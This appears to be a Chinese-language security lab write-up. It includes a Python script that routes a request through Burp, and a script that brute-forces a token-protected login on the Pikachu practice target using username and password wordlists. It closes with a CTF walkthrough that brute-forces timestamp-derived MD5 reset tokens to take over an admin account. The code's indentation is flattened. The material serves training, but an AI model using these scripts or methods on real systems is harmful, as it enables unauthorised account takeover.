`
·
Last updated
import requests
import re
def post():
curl = "http://127.0.0.1/dede/dede/login.php"
proxy = {'http':'127.0.0.1:8080'} #代理地址以及端口，现在估计已经失效，如果需要使用，可以自建资源池
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'}
#请求报文，发送一个 HTTP GET 请求到指定的 URL，并将响应的文本内容存储在变量 `post` 中。请求使用了定义的 `header` 和 `proxy`，即通过代理服务器发送请求，并附带自定义的 HTTP 头信息。
post = requests.get(curl,headers=header,proxies=proxy).text
print(post) #打印网站
if __name__ == '__main__':
post()
#实验要求，bp能抓到python发送的报文即可，靶机IP可以选择pikachu的或者sqli的，ip不要写环回地址如127.0.0.1或者locahostimport requests
import re
purl = "http://127.0.0.1/pikachu/vul/burteforce/bf_token.php" #这里需要修改
user_token = "27536628ca8f3b0818871451285"
proxy = {'http':'127.0.0.1:8080'} #可以集合bp看看发送的报文
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'}
def token(response):
user_token = re.findall('value=".*."', response)[0][7:-1] #根据正则表达式取出token
return user_token
def uandp(user_token):
f = open('result.csv', 'w') #把爆破结果储存到文件里，这里为csv格式
f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n') #给文件设置标题
sum = len(open("p.txt").readlines())*len(open("u.txt").readlines()) #密码本的总数量，最后得出进度
dan = 0 #dan变量是用于查看进度用的
for u in open("u.txt") : #先查看用户本
for p in open("p.txt") : #查看密码本，根据这个密码本进行爆破
u = u.replace("\n","") #过滤掉回车符
p = p.replace("\n","")
session = requests.session() #会话保持
data= {'username':u,'password':p,'token':user_token,'submit':'Login'} #初始数据
response = session.post(purl,data=data,headers=header).text
user_token = token(response)
result = u + ',' + p + ',' + str(len(response)) #用户名密码以及响应包长度
f.write(result + '\n') #输出到文件
dan = dan + 1
print("进度:"+str(dan)+'/'+str(sum)) #输出到终端
# print(response)
f.close()
if __name__ == '__main__':
uandp(user_token)
接下来总结这个ctf靶场的攻击思路:
首先我们分别按序aaa,admin,bbb用户进行忘记密码设置，并且根据抓到的用户aaa和bbb请求包sukey字段进行md5解密得到一段数字，而admin用户本身没有sukey这个字段，所以不知道token是多少，自然无法重置密码，但是一般开发当中，会使用时间搓这个关键因素来生成token,那么只要得到aaa和bbb时间之内的token,那么自然可以爆破，那么根据MD5解密这两个用户的sukey，发现有一段数字范围，那么根据这个数字范围进行bp的爆破，即可重置密码成功，在ctf通关会得到一个key.